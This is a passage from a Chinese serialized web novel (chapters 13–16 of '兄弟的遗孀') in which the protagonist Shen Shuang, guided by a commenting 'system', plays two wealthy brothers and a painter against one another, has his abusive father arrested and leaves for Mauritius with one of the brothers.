“沈霜。”青年的声音干净、爽朗,带着微微的沙哑。
瞧着沈霜的模样,沈霜穿得并没有在场人的庄重,一件不规则白衬衫穿在身上,领口飘逸,腰身又勾进去,显得劲瘦。
冷邈不在,沈霜那股怯弱的劲儿也没有,反倒落落大方,脸上泛着兴奋的红,上挑的眼里满是汝慕。
徐丰年不同冷邈他们家世显赫,草根出生,身世是他心中的刺,沈霜的目光让这根刺变得柔软、湿润。
“很好听的名字。”他说。
沈霜尺寸拿捏恰到,表现了敬重又不显谄媚。
“谢谢您。”沈霜受宠若惊,眉眼笑得弯弯,“我从小就很喜欢您的作品。”
“那你最喜欢那一副呢?”徐丰年猝不及防地问。
沈霜从容开口,“我最喜欢您三年前的《白帆》。”
徐丰年讶异挑眉,笑了一声说:“因为《白帆》,我被骂了很长一段时间的江郎才尽。”
沈霜不贬低他人,只阐述自己的观念,“我觉得一部好的作品,除了画面的表现力,还有里面倾注的情感,二者是相辅相成的。”
内涵不是人人都懂,可美是共识的,徐丰年太傲慢自大,总将一切不满当做旁人无法欣赏。
这也是他的弱点。
“你的见解很独到。”徐丰年赞同点头,“白帆也是我最为满意的作品。”
拿捏住心里,再表现出细节,自然就手拿把掐了。
几句话下来,徐丰年已经被沈霜哄得找不到北,加了联系方式,预约了下次的见面。
沈霜站起身来,拿起一杯红酒,从来笔挺的脊背半弯着,朝徐丰年鞠躬,姣好的脸庞带着酡红,“很感谢您的指点,这杯敬您。”
徐丰年觉得自己好似酒劲上头,眼前眩晕、模糊,只注意到沈霜沾了红酒,湿润的唇,他回敬一杯,道:“不用谢,下次再见。”
冷邈还未回来,沈霜闲庭散步往楼上走去。
周遭打量的目光影影绰绰,冷邈太过权贵,带来的人又是几天前风头正盛的沈霜,窥探目光自然不会断。
一点风声都逃不过这群豺狼虎豹的眼。
沈霜正准备上楼,有个西装革履的男人快步朝他靠近,带着和善的笑。
“沈霜你好,我是封腾集团执行总裁,封宴。”
沈霜停住脚步,疏离而礼貌问:“你好,有事吗?”
封宴薄唇淡笑,解释说:“是这样的,那天向你发了短信,但是并未得到回应,请问你是有什么困难或麻烦吗?我都可以帮助你。”
封腾集团和冷氏集团向来不对付,两家业务冲撞,总公司也在同一条街,早年不乏有雇保安拉电闸、开水浇对家发财树的事……
冷家出事,封宴是第一个落井下石的,当即询问沈霜其中内幕,表示愿意帮沈霜推波助澜。
沈霜抿唇拒绝,“不好意思引起你的误会,我并没有任何麻烦,私底下已经和冷家和解。”
说完,沈霜快步往楼上走。
封宴“诶”一声,试图挽留沈霜,“有任何麻烦都可以……”
沈霜的背影消失在拐角,白润的脸却出现在他脑海。
视频里跪下时挺直的背,湿润的黑发贴着白皙面颊,露出的侧脸昳丽,远山雾一样的眼映进来,就时时隐隐浮现。
【宿主,你明明知道冷邈在看你,为什么不装了啊?】系统问道。
沈霜三步并两步走上楼,【过犹不及,冷邈这种人吊着,他掌控欲强,自然要卡着边界线试探,喂
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出他的兴趣。】
【懂了。】系统的机械音竟有种惊喜感,【跟着宿主真的能学到很多。】
“你怎么看?”冷邈眼眸未转,盯着楼下沈霜方才走过的轨迹,问坐在一旁的张楚年。
张楚年抿一口红酒,酒杯下是藏不住的笑,“很可爱啊。”
出乎意料的回答,冷邈骤然转头,眉目冷冽,好似冰山顶上那一块尖冰,刺得厉害。
张楚年满脸无辜,放下酒杯,摊手道:“他确实很有魅力啊,被他吸引也是理所当然。”
冷邈的眉眼冷得更厉害,“他很难受控。”
冷家和张家是世交,张楚年和他们关系胜似亲兄弟,有些话不用遮掩。
“冷邈,他是人,不是物件。”张楚年往后仰躺着。
冷邈正过头,不再看他,对牛弹琴。
讨论的对象没一会儿就找到了包厢里,脸上还带着方才交谈的愉悦,亲切喊:“大哥。”
冷邈冷冷“嗯”一声,看着沈霜又变成那副怯怯模样,好似生怕惹他不耐。
像只有茂密黑毛的兔子。
可兔子并不温顺。
“过来坐。”他说。
沈霜这才又笑起来,坐在离他们不近不远处。
“聊得怎么样?”冷邈明知故问。
“徐老师人很好。”沈霜说:“他还邀请我下次去他的画室参观。”
“嗯。”
冷邈又不在说话。
沈霜正襟危坐,手放在双膝上。
“我没那么快回去,已经通知司机送你回去了。”
沈霜点头,又问:“我是现在回去吗?”
冷邈又卡壳了,想起家里还有个不省心的,被自己点得开窍的弟弟。
张楚年打圆场道:“坐会再走。”
“好的。”沈霜乖巧应答。
冷邈忽觉好像喝的有些昏了头,手心盖在酒杯上,另一只手揉着眉心,“帮我倒杯茶。”
沈霜拿起空置的杯子就往外走,十分乖觉。
冷邈抿一口便愣住,借着茶杯这样自己方才的停顿,窥见杯底尚未融化的糖粒,余光打量着沈霜。
沈霜放下茶后,就坐了回去,很端正的坐姿,隐约可以看见后脖偏下那枚红色袖扣,透过薄薄的布料,蝴蝶骨的形状影影绰绰。
好似有尖锐的草叶在胸腔里茂盛生长,刺痛、难捱。
冷氏集团叫长鹰集团,业务繁多,业内统称冷氏。在冷邈父亲那一辈败落,后来冷邈接手,集团才日渐辉煌。
喝酒应酬、品茶谈事,不胜其数。
冷邈品不来酒和茶,喜欢往茶水里放糖,咖啡多喝得是甜口。
少有人知道这点,他也不喜欢去苛责,一个口味而已。
可沈霜是怎么知道的?
冷邈喜欢寻蛛丝马迹去抽丝剥茧,再大刀阔斧定论。
“你先回去吧。”他说。
沈霜顺从起身往外走,将偌大包厢留给两人。
门被轻关上,酒味、茶味,交织缠绕,其中夹杂着不易察觉的甜味。
张楚年似是有些遗憾叹气,“他好像喜欢你。”
闭合的山谷骤然敞开,里面狂风大作,吹得杂乱不堪。
冷邈还没回过神,就听见张楚年接着说:
——“冷总,借替弟弟照顾遗孀的名头,觊觎弟妹的感觉怎么样?”
13. 兄弟的遗孀(13)
沈霜被两人一前一后带下楼,下了半截楼梯,饶是做好心理准备,可看到楼下站着的人时,沈霜还是下意识顿住脚步,向往后退去,却被冷缪紧紧握着手。
冷缪贴紧他,温柔安抚:“我在,别怕。”
这是冷邈第一次见到沈霜的父亲,早在沈霜和冷绛接触时,沈霜的资料就被递交到他手上。
两人五官很像,但沈霜面部轮廓更柔,应该是遗传了母亲。
见到沈霜被包围着走下来,沈长海这才意识到自己被摆了一道,他怒目圆瞪,指着沈霜,狠狠骂道:“死杂种!你竟然敢害我!”
这话让家世良好的冷邈和冷缪都皱了眉,冷缪呵斥一声,“嘴巴给我放干净点!”
沈长海像鹌鹑一样,不再敢出声,欺软怕硬发挥的淋漓尽致。
三人终于走下楼梯,沈霜被冷邈摁着坐在软沙发上,两兄弟一左一右坐在他身侧。
冷邈说:“你想怎么处理他?”
这是他第二次问这个问题。
最初,他确实想瞒着沈霜解决,可这不是一个很好的,挟恩图报的机会吗?
他知道沈霜和冷绛的过往,两人因为沈霜被讨债的在校门口围堵,冷绛出手帮忙而确认关系。
沈霜之前说的多么狠厉,现在沈长海到了面前,反而一句话都说不出来。
沈长海听完这句,脸色骤变,“你他妈的,死崽子!你不是说让我配合你进冷家搞钱吗?”
“你要把老子踢出去?还要处理老子?贱人!”
头都没转,对上冷邈与冷缪,又是另一副可怜表情,“你们可别被他骗了啊!”
“他和我是一伙的啊!我的所作所为都是他指导的!”
计谋被拆穿,沈霜也无惧无畏,面上仍是瑟缩害怕的表现,可怜兮兮拽着冷缪的衣角,冷缪大手一揽,将人往自己身边靠。
小动作不断,冷邈也就不能再去思考,沈长海的话几分真,几分假,但也无所谓。
如果是真,反倒方便了他。
“闭嘴。”冷邈说。
保镖心领神会将沈长海的嘴堵住,沈长海呜呜咽咽,脸气得涨红,却一句话也说不出来。
冷邈耐心望着沈霜,等着他的回答,低声诱哄着,“不是恨他吗?”
“殴打、辱骂……他害了你半辈子。”冷邈唇角浅笑,看着沈霜那哀惨表情逐渐冷硬,好似一手雕刻出完美的作品,“他的生杀予夺,现在皆由你做主。”
沈霜身体战栗着,拽着冷缪衣袖的手愈发用力、拧紧,骨节分明暴起青筋,他声音很轻,但却笃定,“杀了他……”
“让他消失。”
他抬眸,求助地望向冷缪,又是昨夜那副依赖至深的表情,虔诚的信仰。
冷缪眼眸微眯,向来淡漠的脸上第一次有了愉悦的情绪,“乖孩子。”
“法治社会,杀人犯法。”他的手捏着沈霜的脖颈,将人拉到自己身旁,贴近他的耳畔,“让他再也没办法打扰你。”
冷邈挥手,其中一位保镖走上前,递上一个文件袋。
“这里面是他近年所有的违法犯罪的记录,够他在里面待上十几二十年。”冷邈将文件袋递给沈霜,期盼着沈霜接过。
不负众望地,沈霜毫不犹豫拿起文件袋,当机立断报警。
沈长海眼神惧怕,半跪在地,求饶的声音变成沉闷的呜咽,愤恨与恐惧在苍老而贪婪的眼中交织。
不用特意去辨认,也能知道他究竟骂的有多脏,求饶的话又是怎样的撕心裂肺。
冷缪再也看不下去,倏地站起身,大步往沈长海那儿走去,沈霜眼眸震惊,音量也不自觉抬高。
“冷缪,你要做什么?”
冷缪沉着脸,人高马大带来的压迫感十足,站在沈长海的面前,一拳朝他的脸挥过去,沈长海发出一声痛呼,躬身蜷缩在地,因为疼痛而泛出的泪水浸了满脸。
沈霜想上前阻拦,却被冷邈扯到怀中,看着沈霜惊惧的眼,冷邈轻拍他的后背,一副游刃有余的神情安抚,“别怕,我在。”
冷缪打完人,终于站起身,转眼却看见沙发上相拥的两人,拳头紧握,沾着不知是沈长海的血,还是他自己的。
沈霜透过冷邈的耳畔,与冷缪对视,一眼便让冷缪冷静下来。
他最后只说:“解气了吗?”
冷邈只觉肩头有一滴的湿润,是沈霜的泪落在他的肩膀上。
二十分钟后,警车抵达别墅门口,警察带走资料,押送沈长海离开。
沈霜跟到别墅外,步步朝他靠近,笑吟吟面对怒不可遏的沈长海。
那好看的唇角翘起半边,是讥讽的笑,“希望你在里面过得开心,父亲。”
“不用每天为了赌债发愁了,感谢我吧。”
沈长海怒骂,“贱人,你以为你有什么好下场?他们不是傻子!你和我是一伙的!”
“那您要活得久一些,”沈霜说:“看看我究竟有什么好下场。”
沈长海被警察推搡进了警车,车鸣声响起。
【宿主,您一直留着沈长海,是预判了今天会发生的事吗?】系统不解,【可是结果不是一样的吗?为什么要徒增烦恼留着他?】
【当然是因为有趣啊。】沈霜眼中笑意更深,【我想看看他们会做出什么举动,果然很符合预测。】
冷邈诱哄着他做出选择,冷缪一气之下打了沈长海一顿。
【您接下来是要接触徐丰年,发展事业吗?】多年的相伴,系统对于这个陌生的宿主,有了几分熟悉。
【对。】沈霜说:【冷邈亲手送来的台阶,不踩上去怎么行?】
【可是画室参观之后,徐丰年早有计划早去毛里求斯,您跟出国太蓄意,这不符合您的性格。】系统问道。
【别忘了冷家的海外分公司就在毛里求斯。】沈霜提醒说:【两兄弟闹掰了,冷邈把冷缪送出去,不过是时间的问题。】
沈霜看着警车行驶,消失不见,身后有脚步声靠近,冷缪的手拍上他的肩,“想什么呢?”
沈霜轻摇头,“没什么。”
“我想再休息一下。”沈霜侧头,望着冷缪。
“回去吧。”冷缪的手滑到他的脊背,“吓坏你了吗?”
沈霜垂眸,再抬起时,眼里满是喜悦与感激,“谢谢你,很解气。”
他回答了在客厅里的问题,那时候
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他在冷邈怀中。
冷缪心中的郁气这才彻底散去。
拘着沈霜又有什么用?还不是他更胜一筹。
两人回到别墅中,冷邈已经穿戴整齐,准备去公司,他抬眸看向沈霜,意思不言而喻。
冷缪替沈霜回答,“他昨晚没睡好,要补觉。”
话里深意摆上平面。
“好。”冷邈轻飘飘答应,却叫住冷缪。
沈霜上了楼,宽敞客厅只留了两兄弟。
两张相似的脸对视,气愤近乎凝滞,一母同胞的亲兄弟,留着相同的血,本该亲密无间,此刻却争锋相对。
“哥,在你今天弄出这一遭之前,我已经替沈霜摆平过一波债鬼了。”冷缪眼眸半眯,笑得意气风发,“英雄救美也是我在先。”
冷邈心脏几乎要被扭曲畸形,面上却仍是无波无澜,淡淡道:“那又如何?”
“羽翼未丰前,收好锋芒。”冷邈随口安排,“分公司要上市了,麻烦你去一趟毛里求斯,等上市后再回来吧。”
无需在意争夺者,他有让对方连桌都不配上的资本。
方才的得意忘形骤然退却,冷缪咬着牙,愤恨却又无可奈何,正如冷邈说的,他羽翼未丰,只能听从安排。
如果放下争权,最后只会落得和冷绛一样的下场。
“好、啊。”
可,谁说出国的只能有他一个人?
冷邈往外走去,司机早已等在外面。
沈霜躺在床上,打了个哈欠,沁出泪来,将手机格式化,清除所有聊天记录后,他将手机平放在床头柜上。
房门被敲响,这一次冷缪礼貌了许多,等到沈霜同意他进来,他才开门。
沈霜半坐在床上,眸光望着冷缪受伤的手出神。
上面血迹洗干净,破皮的伤口清晰可见的红肿,足以见得他打沈长海时有多么用力。
“怎么那么不小心?”他问。
冷缪坐在床上,头埋进沈霜的肩颈,嗅着他身上的味道,醇厚的苦似乎转为一种发酵后的甜腥。
“因为生气。”冷缪声音沉闷,“因为你的遭遇,让我感到生气。”
冷缪贪婪嗅着沈霜的味道,被那股子甜腥味麻痹了神经,话脱口而出,“我可以舔吗?”
反应过来后,也没有丝毫不适,反而抬眸看向沈霜,像条讨食的狗,盛气凌人的脸上都是祈求。
昨夜他们睡在一起,相拥着睡觉,冷缪清楚沈霜那时的脆弱,所以利用这张和哥哥几乎一模一样的脸趁虚而入。
沈霜犹豫片刻,轻点了点头,手指穿插进冷缪的发丝中。
脖颈被舌尖轻舐,酥麻的凉意涌上来,一直到耳垂被含在嘴里,沈霜扯着冷缪的头发,将人拽起。
那张姣好的脸似笑非笑,显出几分慵懒,一双上挑的眼眸潋滟,“不可以哦。”
“你僭越了。”
两人之前的身份逆转,仿若沈霜才是那个金枝玉贵的少爷,可冷缪甘之如饴。
冷缪脸上带着兴奋的潮红,呼吸沉重,色和欲在这一刻交织,跳动跃上他的神经,捻转出痴迷的爱欲。
“你愿意和我一起去毛里求斯吗?”他问。
14. 兄弟的遗孀(14)
沈霜半趴在冷缪身上,端详着他指节的擦伤,只是破了些皮,冷缪却可怜兮兮地说:“好疼,帮我吹吹。”
沈霜打了个哈欠,问道:“有烟吗?”
“你还会抽烟?”冷缪来了兴致,从口袋里掏出一包软烟。
细细打量着,青年慵懒半趴在他身上,倦色的脸是白皙的,不久前才看到的紧张、恐惧,尽数退却,淡漠的好像无波的水。
很陌生,可却有着致命的诱惑,带着他跌进一条糜烂的绚丽河水中,随着水波流淌、翻涌,再无法自拔。
沈霜抽出一根烟,冷缪俯身为他点烟,打火机发出一声脆响,火花窜起,烟头冒出点点红晕,白雾袅袅从唇畔升腾。
“你被他赶出来了吗?”沈霜问。
这个他毫无疑问指的是冷邈。
“是啊。”冷缪点头,又佯装那委屈神色,“你愿意和我一起出去吗?”
心中的弦不断收紧,这几乎是个奢望。
他们才认识短短几天,大多数时间都在愤怒与屈辱中度过,寥寥无几的温情并不足以支撑沈霜做出肯定的答复。
可是下一秒,他听见沈霜说:“我愿意。”
好像身处教堂之中,白鸽从周身飞起,在大簇艳色玫瑰里,他虔诚亲吻沈霜的指尖,烟灰不可避免的簌簌落下。
指尖传来柔软温热的触感,沈霜笑吟吟地夸奖,像来自上位者轻飘飘的奖赏。
“好乖。”
冷缪不觉愤慨,犹嫌不够,“再夸几句。”
沈霜将烟灰抖在冷缪自觉摊开的掌心里,“得寸进尺的坏狗。”
真可爱啊,愣头青。
冷缪却突兀抬手,握住沈霜夹着将将燃尽烟蒂的手,灼热的烫意在手心里蔓延,疼痛也没有让他蹙眉。
“干嘛?”沈霜平静地问,并不意外冷缪的行为。
路边的野狗总归和驯养的不一样,疯一些、神经一些,也是正常。
“奖章。”他说。
冷缪摊开手心,随手丢下烟蒂和烟灰,手心里被烫出的痕迹红肿,不一会儿便起了个水泡,等伤口好后,会留下永远的疤,或是白色,或是灰色。
他想留下一些,某个角落里,他们平静地幸福的证明。
“蠢。”沈霜并不为此感动。
冷缪探头去看沈霜的表情,疏离矜贵的,和冷邈如出一辙的表情。可他却并不气馁,细细摩挲着沈霜的肩头,“蠢人干蠢事。”
他确实做了不少蠢事,得来这个评价也实属正常。
“我们什么时候去,什么时候回来?”沈霜问。
“过几天,我会打理好的。几个月吧,玩尽兴了就回来。”
冷缪愿意暴露他处境的不利,却不愿详细去说,太丢份了。
沈霜彻底趴在他身上,下巴抵在他的肩头,沉沉睡过去,画似的眉眼舒缓、宁静,时间也凝固起来,藏在角落里。
冷缪轻柔将沈霜翻了个身,明目张胆搂在怀中,彻底代替死去的哥哥,怀抱着爱人。
细碎的耳语传来,连接成熟悉的,几乎恨透的名字。
“冷绛。”
冷缪的手缓慢收紧,眼眸因为愤怒而泛红,却不知该死盯何处。
他不能怪沈霜记挂着正牌老公,更不能冲一个死人发泄怨气,于是只能怪自己,为什么远赴国外。
若非如此,当初冷绛和沈霜一切的幸福,或许都该由他与沈霜共同构成。
冷缪一遍又一遍宽慰自己,试图与心结和解。
没事的,他们来日方长。
何况他与冷绛长得如此相似,将沈霜记忆中的名字替代就好。
他抬手,隔着虚空,沿着线条,勾勒出沈霜的面容。
手指在半空中轻颤,沿着线条竟缓慢勾勒出一个人形。
洁白画布上是一条枯竭的艳色河流,曲线画出斑驳的河床,残留的血色河水、裸露的沙石……
徐丰年猛然丢下画笔,惊诧发现,那竟然是沈霜的模样。
颜料的味道在宽敞画室中浓烈席卷,敲门声骤然打断思绪。
“老师,我来啦。”
熟悉的带着暗哑的嗓音响起,徐丰年倏地拉下画布,掩盖见不得光的未知心事。
他站起身去开门,门外的沈霜今天穿着花色短衫,白色亚麻裤,腰间坠着同色白色飘带,直直垂下。
“老师,下午好。”青年笑得温柔,声音是软的、哑的,眼眸里的仰慕倾泻而出,海潮一样将人包裹。
徐丰年只觉得脚下一软,好像并不是踩在实木地板上,而是轻飘飘、软和的云里,“请进。”
不远处,倚着一辆白色摩托屈腿抽烟的高大男人暗含警告瞥了一眼,像路边的野狗一样凶恶,骤然让徐丰年回神,他拧着眉去想。
那好像是冷邈的弟弟,冷家三儿子。
沈霜走进画室,门被关上,隔绝冷缪探究的目光。
大多画师颜料多会溅落,但徐丰年的画室里很干净,实木地板泛着光泽,雕塑、绘本、画具分门别类,一眼就能看出主人有强迫症。
徐丰年多数作品都卖出,少数几个自以为的完美作品裱在墙上,最显眼的位置挂着那副《白帆》。
“老师,那是您的新作品吗?”沈霜抬手指向正中央的画板,询问道。
徐丰年摇头,下一秒却又点头,他直直看向沈霜,试图从那双干净的眼里看出什么,却一无所获。
他大步走向画板,一把扯下红色的画布,露出绘到一半便停下的画作。
沈霜兴致勃勃地凑过去细细端详着,惊讶道:“老师,您画的……是我吗?”
徐丰年从容点头说:“没错。”
他神情里带着长辈的慈爱,缓缓编织起一张欲望的网。
“我想请你做我的模特,可以吗?”徐丰年微笑着,放低姿态,用一种与小辈打趣的语气道:“不让你白帮忙,你如果有业内中意的老师或是工作室,我都可以帮你写推荐信……或者,你也可以考虑考虑我。”
“我迄今为止还没收过任何一个徒弟,你想成为第一个吗?”
“当然想!”沈霜惊喜一瞬,又迟疑道:“只是我过几天要去毛里求斯,或许要待将近半年的时间。”
徐丰年再次感叹两人的缘分,急忙说:“我下周要去毛里求斯写生,可以根据你的行程安排。”
“真的吗?”沈霜笑得眉眼弯起,一派纯真,“太麻烦老师了,可是我不想放弃和老师相处的机会,那就麻烦老师啦~”
尾音含混的拉长,撒娇一样。
徐丰年只觉得灵魂震颤,恨不能现在就到下周,与沈霜共赴毛里求斯,追寻海面之下的鲸鱼。
徐丰年又拿出另一副未完成的画作,是黑色人影躺倒水面,波光粼粼的水面折射出诡谲色彩,丝绸蓝与夜色黑
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中掺杂着碎末的金。
鬼气森森,业界对于徐丰年画作的评价。
“老师,您这幅画里,颜料是加了金箔吗?”沈霜仔细观察后,慎重询问。
“是啊,你很聪明。”徐丰年给了肯定的答复,“还有这,这里加了石英砂,增加肌理感。”
往颜料中加入不同的材料,最后展现的效果不一,金箔、石英砂,这是最常加在画中的材料。
两人在画室里待了一下午,从人生起落谈到毛里求斯写生之旅,徐丰年的心思再也按捺不住。
就好像一颗种子,沈霜的每一句话都成了滴落的细雨,将他浸透,生出了根,冒出了芽,在胸腔里参天的长,撑得扎人酥痒。
沈霜走后,他再提笔画那黑色倒影,回过神来时,人脸竟已成了沈霜的模样。
沈霜的脸俏笑着,透着乖顺劲儿。
谁能想到这样的人开起机车来是一副不要命的架势?
冷缪心想,蹲下身去细看车头的两枚指纹,他逐个对比,最终辨认那是无名指的,他轻柔的,将自己的无名指摁在冷绛指纹的位置,好似这样就能在心中掩盖冷绛,替换成他。
“在看什么呢?”沈霜轻盈走过来,像午后睡醒的猫一样倦惰。
“没什么。”冷缪背过手,“我买了今晚的票,先飞迪拜,再从迪拜转机去毛里求斯。”
“那么快?”沈霜有些讶异,但还是很快接受,“那我们快点回去收拾行李吧。”
冷邈今天很忙,忙着签单,忙着与友商洽谈合作,冷缪就是算准了他今夜十点前回不来,才匆匆忙忙定下机票。
一直到坐上飞机,冷缪还觉得不可思议,太快了,迅捷的风掠过,没有一丝一毫的痕迹,徒留与风短暂接触时的冰凉。
他们就好像一对私奔的爱侣。
难怪冷绛会毅然决然断绝关系,只为和沈霜在一起。
冷邈工作时只留工作的手机,私人手机会放在秘书那儿保管,确保不会被打扰。
当他带着疲惫风尘仆仆回到家时,家里是寂静的,他不以为然,每一次深夜回家都是如此。
一直到他路过客房,却没看见熟悉的,从门缝中透出来的光,心中有短暂的担忧。
他轻叩房门,并没有回应,备用钥匙还插在门上,是他上次闯入时留下的。
冷邈推开门,里面同样空荡,水晶吊灯被打开窗户外吹进的风奏响。
他这才后知后觉拿起手机,想要联系沈霜,可他并没有存关于沈霜的任何联系方式,疑惑时,窥见未读短信。
“大哥,沈霜和我去毛里求斯了,他这辈子都不可能再当我嫂子。”
冷邈收紧握着手机的手,神色凌冽、阴沉,喟叹一声,“居然真的给他做了嫁衣。”
他将冷缪踢出局,不成想冷缪直接掀了桌子。
果然是条野狗,做事毫无章法。
手慢慢松懈。
左右不过是有点兴趣,既然沈霜已经做出选择,那也别强求了。
可他又想起沈霜那澄澈的、虔诚的眼眸。
冷邈的手再次收紧,紧紧攥着手机,沈霜昨夜在这里,发颤着、抽泣着说:“您能陪陪我吗?”
可今夜,他却要冷缪相伴。
骗子。
心里的塔楼在谎言中崩塌,却不是土崩瓦解,而是每一滴都饱含欲望的粘稠黑液,涨潮般将他淹没。
15. 兄弟的遗孀(15)
冷氏在毛里求斯的公司主要业务是信息通讯技术,公司正在上市期间,恰逢冷家老爷子寿辰,冷缪这才提前回国。
冷缪在毛里求斯的里面多是住酒店,也头脑发热买过几处房产,交给专人打理。要不是这次带着沈霜过来,几乎都要忘了这些随手买下的空置房子。
他带着沈霜住进近海的红顶小院里,巨大的落地窗外就是波光粼粼的海面,偶有游艇驶过,发出水花四溅的轰鸣。
冷缪愈发觉得把沈霜拐带过来,是一件无比正确的事。
沈霜像条鸟雀一样钻进各大奢侈品店,试穿一件又一件精致衣服,多是不规则的下摆、领口,或是色彩缤纷,或是流苏满坠,破有艺术家的姿态。
最后穿着件克莱因蓝的长衬衫,配上条黑色裤裙,衬衫衣领坠着飘带,下摆塞了一半进裤子里,抬手抚了抚宽帽檐的绣花帽,帽檐下的脸清秀粉白,带这股冷酷的漂亮。
没有表情的疏离感,让冷缪的眼神痴迷,久久凝望着沈霜。
他看沈霜露出一个笑,身后的人群被模糊,各色的衣服变成亮彩的光点。
沈霜含笑朝他走过来,手指捏着领口的长飘带,竟挽成一个圈,套在冷缪的脖颈上,轻拽着,逼迫冷缪顺从仰头,和他对视。
那双黑漆漆的眼眸半眯微弯,带着漩涡的丽色,唇畔张合,轻声说:“小狗。”
冷缪几乎克制不住地往前倾,沈霜却步步后退,两人之间的距离始终如一。
冷缪一个踉跄,摔下椅子,沈霜半蹲在地,周遭的人群围观这一幕,店员上前询问是否需要帮助。
沈霜简单回了个不需要的英语单词。
冷缪狼狈爬起来,那条带子轻飘飘的绕在脖颈上,柔软的贴着,真像条狗链。他紧张地像一个背德者,手心里的汗都黏黏糊糊贴在一起,牵住了沈霜的手。
沈霜任由他牵着,冷缪刷卡付钱一气呵成,一手拎着七八个购物袋走出店。
恍惚、太恍惚,他们靠得好近,不是外界的距离,而是亲昵的距离。
两人走在街上,沈霜又说要吃可颂,走进面包店时,冷缪看着镜子里的自己。
镜子里的脸细微调整,冲他露出凶恶地表情,厉声高喊着:“沈霜是我的爱人。”
冷缪对此不屑一顾,冷绛没死的时候他就看不起,就算真做鬼找回来,又有何惧?
可总归沈霜不爱他是事实,心坎。
褐色牛皮纸袋装着麦香味十足的可颂,沈霜捏起一个,小口小口吃着,手指沾了油。
两人心照不宣走进一旁偏僻小巷,沈霜笑着把手贴在他的面颊上,不加掩饰的恶劣和玩味,黏糊的黄油跑到了冷缪脸上,带着飞散的麦香。
冷缪侧头,竟将他手指含在嘴里,舌尖舔舐着上面的麦香和渗出黄油。
沈霜没有拒绝、抵抗,但也不算顺从,只是默认。
自然而然的,冷缪就亲在了他的唇上,软的、热的,发狂似地去舔、去咬,吮吸着甘露一样的沉沦。
沈霜的手放在他肩膀上,脊背贴着墙壁,眼神迷离,泛起因为缺氧而造成的酡红,像朵糜烂的花,带着腐烂而腥甜的香,靠近他就靠近了危险。
冷缪的舌尖顶进去,扫荡着口腔,手却规规矩矩扣着沈霜的腰,不敢有半分僭越。
沈霜放在冷缪肩膀地手下滑,停在胸前,轻推了推,冷缪依依不舍却还是果决撤回。
唇因为吮吸而泛红肿胀,好似装着饱满汁水的果,清甜芳香,沈霜轻抿着唇,不满道:“都是口水。”
冷缪扯下袖口,轻柔擦拭,又得寸进尺再次牵上沈霜的手,“你想去哪儿?”
两人坐的是最晚的航班,在迪拜休息了半天,再转机过来,放好东西后出来,已经是傍晚,天是阴沉的,橱窗里的光一盏接一盏亮起,金灿灿亮起。
一阵冷风吹过,带了寒意,沈霜瑟缩身子,下意识往冷缪手臂贴去,隔着薄薄布料,汲取对方的体温。
“明天应该会下小雨,所以有些冷。”冷缪侧头问他:“再去买几件外套?”
“好啊。”沈霜点头答应,眉间轻拧,“过几天徐丰年老师要过来,带着我写生,你说要不要送礼啊?”
冷缪险些咬了舌尖,他惊诧说:“他也来?”
愉快的二人之旅骤然多个人,还是那一眼看沈霜就不对劲的老男人,实在不行。
沈霜还想着送礼物,更加不可了,连他都没收到过沈霜的礼物,那老男人怎么配?
冷缪假装善解
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人意地说:“不用,他如果正直清廉,你送他礼物他只会觉得折辱。”
沈霜似懂非懂地点头,“有道理。”
“下雨还能看海豚吗?”他又问。
“当然可以。”
晴天观赏性最佳,可冷缪怎么也不想错过这次机会,毕竟有了第一次就有第二次。
沈霜又买了件深棕色夹克外套,两人驱车回了小院,厨师早做好饭菜,热了又热,等他们回来。
冷缪害怕沈霜吃不惯白人菜,花大价钱请了会中餐的厨师,只是材料口味不一,做出来的味道也有差距。
沈霜没吃两口就撂下筷子,坐在壁炉旁的红软沙发上,不肯再动一口,坏脾气展露无疑。
娇生惯养的模样,像一朵欲望凝结而盛开的花,黑红的花瓣好似浓血的颜色,勾着人坠入一场自我毁灭的爱程。
冷缪像个毛头小子一样,左转右转,哄了又哄,沈霜也没给他好脸色。
他遥遥记起第一次见沈霜的时候,乖觉、顺从,而现在,皮囊下的欲望流脓一样出来,化成恶意的黑水,不加掩饰的挥洒。
可冷缪却有种,沈霜本该如此肆意之感。
他半跪在沈霜面前,“我们去外面吃好不好?”
“吃不惯我让人明天空运来。”
许是见他态度不错,沈霜才肯哼一声,搭理他一下。
这会儿冷缪更来劲了,手掌握着沈霜的纤细脚踝,苍白的能够看清上面的青筋,指甲圆润,往上是瓷白的肉,旧疤纵横。
冷缪另一只手拇指摩挲过那些旧疤,激起沈霜一阵温热战栗。
“我帮你穿袜子。”
还没站起身去找,沈霜抽出脚,伸直了腿,搭在他肩上,说:“不出去吃。”
“我叫人买回来?”
冷缪侧头,脸贴着沈霜脚背,替他暖脚,眼眸沉沦地望着沈霜裸露出来的腿,冷白冷白的。
“我不吃熟蒜。”沈霜施舍一样的语气却让冷缪无比兴奋。
他的脚缓慢下滑,在冷缪心口不轻不重地踹了一下,嫌弃又似调情。
冷缪却像得嘉奖一般,捉起他的脚踝,在脚背亲了一口。
懊恼自己为什么忽略沈霜的喜好,他明明曾说的清楚。
16. 兄弟的遗孀(16)
冷缪计划先去追鲸,再去七色土公园,而后就地在山顶餐厅用餐,下午再往北部靠,傍晚时分参观红顶教堂。
许是那天白鸽从周身飞起的幻想太过震撼,让他始终对教堂心存执念。
可今天毛里求斯下了暴雨,七月份的天气,毛里求斯多是晴天,偶尔降雨也不过小雨,实在是上天不够眷顾。
冷缪焦灼地在房间里走来走去,时不时看向落地窗外的景色,海面阴沉,波浪起伏,雨滴落在上面的纹路都清晰可见,雨太大了。
落地窗的倒影里,又似出现冷绛的脸,鬼气阴森,红口白牙地笑,好像嘲弄。
冷缪暗骂一声,手紧紧握拳,半秒没到,垂头丧气扑在床上,头埋进沈霜的颈窝里,闷声说:“对不起。”
沈霜一手执书,另一手顺着他头发,“你又不是龙王,怎么能操控天气呢?几个月的时间,够我们逛遍大街小巷了。”
这样的温情,柔的像一滩水,怎么会不让人心悸呢?
沈霜穿着香槟色睡袍,侧身刺绣、领口蕾丝,侧身坠下的同色缎带,精致的竟像条裙子,冷缪眸光渐暗,欲望在体内如同业火一样烧起,他猛嗅着沈霜的颈窝,不可言说的暧昧滋生。
沈霜忽然低低“哎呀”一声,倏地坐起来,眉眼染上焦急,“徐老师说他已经到机场了,因为没提前看天气,忘记带伞,问我能不能过去接。”
沈霜拧着那条弯细眉,“老师说他来的很赶,还没定酒店,我打个车过去接他,送他去住后再回来。”
冷缪勾着沈霜的睡袍上的缎带,心中暗骂真是个老不死的,简直把算盘明明白白写在脸上。
